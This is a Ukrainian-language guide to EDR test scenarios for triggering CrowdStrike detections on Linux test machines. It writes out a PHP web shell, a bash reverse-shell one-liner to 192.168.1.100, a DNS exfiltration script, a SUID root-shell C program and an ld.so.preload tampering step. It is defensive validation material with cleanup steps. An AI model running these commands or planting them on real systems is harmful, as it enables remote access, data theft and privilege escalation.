Перейти до змісту

Сценарії тестування

Використовуйте тестові машини

Сценарії тестування можуть використовувати сторонні інструменти або завдавати шкоди операційній системі. Не виконуйте їх на робочих машинах чи в production-середовищі!

Сценарії не працюють в RFM

Перед початком тестування перевірте стан RFM - див. Reduced Functionality Mode.

MSQ - Defense Evasion через перейменування файлу

Цей сценарій продемонструє реакцію CrowdStrike на спробу обійти захист через маскування виконуваних файлів за допомогою невідповідного розширення.

Підготовка

  1. Скопіюйте виконуваний файл та дайте йому нестандартне розширення:

    cp /usr/bin/whoami whoami.png
    

Атака

Виконайте перейменований файл:

./whoami.png

Залежно від налаштувань Prevention Policy, файл може бути заблокований або виконається, але в консолі CrowdStrike з'явиться новий Detection.

image.png

Що відбулося?

CrowdStrike проаналізував файл перед виконанням і виявив, що його вміст (виконуваний файл формату ELF) не відповідає розширенню .png, яке зазвичай використовується для зображень. Така невідповідність є поширеною технікою маскування, тому спроба запуску файлу була розцінена як підозріла.

CnC - Reverse Shell через PHP

Цей сценарій продемонструє реакцію CrowdStrike на спробу отримання віддаленого доступу до системи за допомогою вразливого PHP-скрипта.

Підготовка

  1. Встановіть веб-сервер та PHP:

    sudo apt update && sudo apt install apache2 php libapache2-mod-php -y
    

    Щоб перевірити роботу PHP, створіть файл /var/www/html/info.php з таким рядком:

    <?php phpinfo(); ?>
    

    Перейдіть у браузері на http://localhost/info.php (замінивши localhost на IP-адресу сервера, якщо потрібно). Має відобразитися сторінка з інформацією про PHP.

  2. Створіть файл /var/www/html/command.php, що імітує веб-шелл:

    <HTML>
      <HEAD><TITLE>Simple PHP Shell</TITLE></HEAD>
      <BODY>
        <form action="command.php" method="post">
          <input type="text" NAME="c"/>
          <input name="submit" type="submit" value="Command">
        </form>
        <?php
          if (isset($_REQUEST['submit'])) {
            $c = $_REQUEST['c'];
            $output = shell_exec("$c");
            echo "<pre>$output</pre>\n";
          }
        ?>
      </BODY>
    </HTML>
    
  3. Виставте коректні права для файлу та перезавантажте Apache:

    sudo chown www-data:www-data /var/www/html/command.php
    sudo chmod 644 /var/www/html/command.php
    sudo systemctl restart apache2
    

Атака

У браузері перейдіть за адресою http://localhost/command.php. На сторінці з'явиться поле для вводу команд.

image.png

Це — симуляція веб-шелла. Можна перевірити його роботу командами id чи uname -a. Щоб викликати реакцію CrowdStrike, виконайте команду, що створює reverse shell:

bash -i >& /dev/tcp/192.168.1.100/4444 0>&1

Вставте команду в поле вводу та натисніть "Command". У браузері нічого не відобразиться, але в консолі CrowdStrike з'явиться новий Detection.

image.png

Що відбулося?

На етапі підготовки ми створили веб-сторінку, що симулює сайт із вразливістю RCE (Remote Code Execution). Це дозволяє виконувати довільні команди на сервері з правами користувача www-data (стандартний користувач Apache).

На етапі атаки ми виконали команду, що створює reverse shell до хоста 192.168.1.100. Ця дія дозволяє зловмиснику отримати прямий інтерактивний доступ до системи в обхід веб-сервера. CrowdStrike виявив цю спробу як зловмисну поведінку (створення віддаленої сесії) і створив відповідний Detection, навіть якщо хост зловмисника не існував у мережі.

Приберіть за собою

Після тесту обов'язково видаліть файли command.php та info.php, щоб не залишити вразливість у системі.

sudo rm /var/www/html/command.php /var/www/html/info.php

EXF - Ексфільтрація даних через DNS

Цей сценарій продемонструє реакцію CrowdStrike на спробу витоку даних з системи за допомогою DNS-запитів.

Підготовка

  1. Встановіть необхідні утиліти:

    sudo apt update && sudo apt install zip vim-common dnsutils -y
    
  2. Створіть скрипт exfiltration.sh:

    #!/bin/bash
    
    # Створюємо 10 тимчасових файлів (1.tmp, 2.tmp, … 10.tmp)
    for i in $(seq 1 10); do
      touch "$i.tmp"
    done
    
    # Запаковуємо усі *.tmp у fakefile.zip
    zip fakefile.zip *.tmp
    
    # Видаляємо вихідні *.tmp
    rm *.tmp
    
    # Перетворюємо fakefile.zip у hex-рядок та записуємо у файл data
    xxd -p fakefile.zip > data
    
    # Видаляємо архів
    rm fakefile.zip
    
    # Для кожного рядка у файлі data надсилаємо DNS-запит 
    # до неіснуючого домену з даними у вигляді субдомену.
    # Наприклад: dig 504b0304....png.legit.domain.com
    for dat in $(cat data); do
      dig "$dat.legit.domain.com"
    done
    
    # Прибираємо за собою
    rm data
    
  3. Зробіть скрипт виконуваним:

    chmod +x exfiltration.sh
    

Атака

Запустіть скрипт:

./exfiltration.sh

У терміналі з'явиться вивід утиліти dig, а в консолі CrowdStrike — новий Detection.

image.png

Що відбулося?

Скрипт створив архів з файлами, перетворив його у шістнадцятковий (hex) формат і відправив ці дані у вигляді серії DNS-запитів. Кожен запит містив частину hex-рядка як субдомен (наприклад, <hex-дані>.legit.domain.com).

Цей метод імітує "DNS-тунелювання" — техніку витоку даних, при якій інформація передається через DNS-канал. Зловмисники використовують цей метод, оскільки DNS-трафік часто менш суворо контролюється, ніж, наприклад, HTTP.

CrowdStrike зафіксував аномальну активність: використання утиліти dig для надсилання великої кількості DNS-запитів із довгими, беззмістовними (висока ентропія) субдоменами. Така поведінка є класичною ознакою ексфільтрації даних через DNS, на що і було створено відповідний Detection. Таким чином відбувається ексфільтрація викрадених даних з хоста. Так як DNS запити зазвичай не так добре досліджуються, зловмисники використовують цей шлях для виносу даних на свої сервери.

CrowdStrike зафіксував дивне використання інструменту dig та низку довгих DNS-запитів до піддомена legit.domain.com, що є класичною ознакою DNS-ексфільтрації (DNS exfiltration). На основі цієї поведінки CrowdStrike створив відповідний Detection, позначивши її як підозрілу спробу витоку даних через DNS.

ESC - Ескалація привілеїв через SUID

Цей сценарій продемонструє реакцію CrowdStrike на спробу ескалації привілеїв за допомогою програми з бітом SUID.

Підготовка

  1. Встановіть компілятор GCC:

    sudo apt update && sudo apt install gcc -y
    
  2. Створіть файл setuidshell.c з таким вмістом:

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    
    #define MIN_ARGC 3
    #define ROOT_UID 0
    #define EXIT_SUCCESS 0
    #define EXIT_FAILURE 1
    
    void print_usage(const char *program_name) {
        fprintf(stderr, "Usage: %s <shell_path> <user_type>\n", program_name);
        fprintf(stderr, "  shell_path: Path to shell executable (e.g., /bin/bash)\n");
        fprintf(stderr, "  user_type:  'root' or 'standard'\n");
    }
    
    int main(int argc, char *argv[]) {
        // Validate command line arguments
        if (argc < MIN_ARGC) {
            print_usage(argv[0]);
            return EXIT_FAILURE;
        }
    
        const char *shell_path = argv[1];
        const char *user_type = argv[2];
    
        // Validate user type parameter
        if (strcmp(user_type, "root") != 0 && strcmp(user_type, "standard") != 0) {
            fprintf(stderr, "Error: Invalid user type '%s'\n", user_type);
            print_usage(argv[0]);
            return EXIT_FAILURE;
        }
    
        // Escalate privileges if root is requested
        if (strcmp(user_type, "root") == 0) {
            if (setuid(ROOT_UID) != 0) {
                perror("Error: Failed to set UID to root");
                return EXIT_FAILURE;
            }
            printf("Successfully escalated to root privileges\n");
        }
    
        // Execute the specified shell
        printf("Executing shell: %s\n", shell_path);
        if (system(shell_path) != 0) {
            fprintf(stderr, "Error: Failed to execute shell '%s'\n", shell_path);
            return EXIT_FAILURE;
        }
    
        return EXIT_SUCCESS;
    }
    
  3. Скомпілюйте та налаштуйте файл:

    gcc setuidshell.c -o setuidshell
    sudo chown root:root setuidshell
    sudo chmod u+s setuidshell
    

Атака

Запустіть скомпільований файл, щоб отримати оболонку з правами root:

./setuidshell /bin/bash root

Програма виконається і надасть вам права root, а в консолі CrowdStrike з'явиться новий Detection.

image.png

Що відбулося?

На етапі підготовки ми створили програму, яка використовує системний виклик setuid(0) для підвищення привілеїв до рівня root. Після компіляції ми встановили на виконуваний файл біт SUID (chmod u+s), що дозволяє запускати його з правами власника (у нашому випадку — root).

Біт SUID (Set User ID) — це атрибут доступу в Unix-подібних системах, який дозволяє виконуваному файлу працювати від імені його власника, а не від імені користувача, що його запустив. Хоча це корисна функція для системних утиліт (наприклад, passwd), зловмисники можуть використовувати її для ескалації привілеїв.

На етапі атаки ми запустили нашу програму. CrowdStrike виявив, що процес, запущений звичайним користувачем, використав системний виклик setuid() для отримання прав root, що є класичною ознакою атаки з ескалацією привілеїв, та створив відповідний Detection.

Приберіть за собою

Після тесту обов'язково видаліть створені файли, щоб не залишати в системі потенційно небезпечні інструменти.

rm setuidshell.c && sudo rm setuidshell

DEF - Ухилення від захисту через LD_PRELOAD

Цей сценарій продемонструє реакцію CrowdStrike на спробу ухилення від захисту через маніпуляції з файлом /etc/ld.so.preload.

Підготовка

  1. Якщо файл /etc/ld.so.preload не існує, створіть його:

    sudo test -f /etc/ld.so.preload || sudo touch /etc/ld.so.preload
    
  2. Перевірте поточні права доступу до файлу:

    ls -la /etc/ld.so.preload
    

Атака

Виконайте команду, щоб змінити групу-власника файлу на root:

sudo chgrp 0 /etc/ld.so.preload

Команда виконається, а в консолі CrowdStrike з'явиться новий Detection.

image.png

Що відбулося?

Файл /etc/ld.so.preload містить список бібліотек, які динамічний компонувальник завантажує перед усіма іншими бібліотеками для будь-якої нової програми. Це потужний механізм, що дозволяє перехоплювати та модифікувати поведінку програм.

Зловмисники можуть використовувати цей файл для: - Завантаження шкідливих бібліотек. - Перехоплення системних викликів. - Ухилення від захисних механізмів. - Приховування власної активності.

Команда sudo chgrp 0 /etc/ld.so.preload змінює групу-власника файлу на root (GID 0). Будь-які маніпуляції з цим критично важливим системним файлом є підозрілими.

CrowdStrike виявив несанкціоновану зміну прав доступу до файлу /etc/ld.so.preload і створив відповідний Detection, позначивши це як потенційну спробу ухилення від захисту.

Приберіть за собою

Якщо файл /etc/ld.so.preload був порожнім до або після тесту, його можна безпечно видалити.

if [ ! -s /etc/ld.so.preload ]; then sudo rm /etc/ld.so.preload; fi